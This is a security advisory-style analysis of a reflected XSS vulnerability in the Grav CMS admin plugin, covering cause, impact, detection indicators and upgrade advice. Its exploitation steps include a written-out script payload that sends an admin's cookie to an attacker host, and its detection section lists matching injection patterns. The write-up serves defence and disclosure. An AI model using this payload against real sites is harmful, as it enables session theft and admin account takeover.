CVE-2025-66309: 
PHP vulnerability analysis and mitigation

CVE-2025-66309 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Grav CMS admin plugin (getgrav/grav-plugin-admin), specifically in the /admin/pages/[page] endpoint's data[header][content][items] parameter, located in the "Blog Config" tab. It affects Grav admin plugin versions up to and including 1.10.50 (Grav core versions prior to 1.8.0-beta.27). The vulnerability was published on December 1, 2025, and a fix was released the same day. It carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 6.2 (Medium) (GitHub Advisory, Github Advisory).

The root cause is improper neutralization of user-controlled input before it is rendered in a web page (CWE-79). The Grav admin plugin fails to validate or sanitize the data[header][content][items] parameter in GET requests to /admin/pages/[page], allowing an attacker to inject arbitrary JavaScript. The injected payload is reflected directly in the HTTP response and executed in the victim's browser when they visit a crafted URL. The fix involved adding SafeRender functions to the selectize.js component that HTML-escape option and item text by default, and applying the |e Twig escape filter to relevant template fields (GitHub Advisory, Patch Commit).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser session of an authenticated Grav admin user who clicks a malicious link. This can result in session cookie theft, account compromise, unauthorized actions performed on behalf of the victim (such as modifying page content), user redirection to phishing sites, and website defacement. While the direct system impact on the vulnerable component is limited (low confidentiality and integrity), the subsequent system impact is rated high for confidentiality, integrity, and availability, reflecting the elevated privileges of the targeted admin session (GitHub Advisory).

A proof-of-concept (PoC) payload is publicly documented in the GitHub Security Advisory, demonstrating injection via the Blog Config > Items field in the Grav admin panel. Exploitation requires the attacker to have high privileges (admin access) to craft the malicious URL, and also requires active user interaction — a victim admin must click the crafted link. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.032% (10th percentile), indicating low near-term exploitation probability (Github Advisory, Feedly).

1. Reconnaissance: Identify a target Grav CMS instance running the admin plugin version ≤ 1.10.50 (Grav core < 1.8.0-beta.27) with an accessible /admin panel.
2. Obtain admin access: The attacker must have or obtain admin-level credentials to the Grav admin panel, as the vulnerable endpoint requires authentication.
3. Craft malicious URL: Construct a GET request URL targeting /admin/pages/[page] with an XSS payload injected into the data[header][content][items] parameter, e.g.:

   /admin/pages/my-page?data[header][content][items]="><script>document.location='https://attacker.com/steal?c='+document.cookie</script>

4. Deliver the link: Send the crafted URL to a victim admin user via phishing email, chat, or other social engineering vector.
5. Payload execution: When the victim admin clicks the link and loads the page in their authenticated browser session, the injected script is reflected in the HTTP response and executed, enabling session cookie theft or other malicious actions (GitHub Advisory).

• Network: Unusual GET requests to /admin/pages/[page] containing URL-encoded script tags or HTML injection characters (e.g., %22%3E%3Cscript%3E, "><script>) in the data[header][content][items] query parameter; outbound connections from admin browsers to unknown external domains shortly after accessing admin pages.
• Logs: Web server access logs showing requests to /admin/pages/ endpoints with anomalous, encoded payloads in query strings; repeated access to admin page endpoints from unfamiliar IP addresses.
• Browser/Session: Unexpected session invalidation or new admin sessions originating from different IP addresses following admin user activity on page edit endpoints.

The vulnerability is fixed in Grav admin plugin version 1.11.0-beta.1 and Grav core version 1.8.0-beta.27. Administrators should upgrade the getgrav/grav-plugin-admin package to at least 1.11.0-beta.1 immediately. As interim mitigations: restrict admin panel access to trusted IP ranges, limit admin accounts to only necessary personnel, implement a Web Application Firewall (WAF) to detect and block reflected XSS attempts, and enforce additional input validation and output encoding. Monitor admin interface access logs for suspicious activity (GitHub Advisory, Patch Commit).

The vulnerability was reported by security researcher marcelomulder and coordinated by nmmorette, with the advisory published by Grav maintainer rhukster on December 1, 2025. The fix was bundled with several other security fixes in the same commit, addressing user enumeration, stored XSS in group display names, and XSS in taxonomy fields, indicating a broader security audit of the admin plugin (GitHub Advisory, Patch Commit). No significant broader media coverage or notable community discussion beyond the advisory has been identified.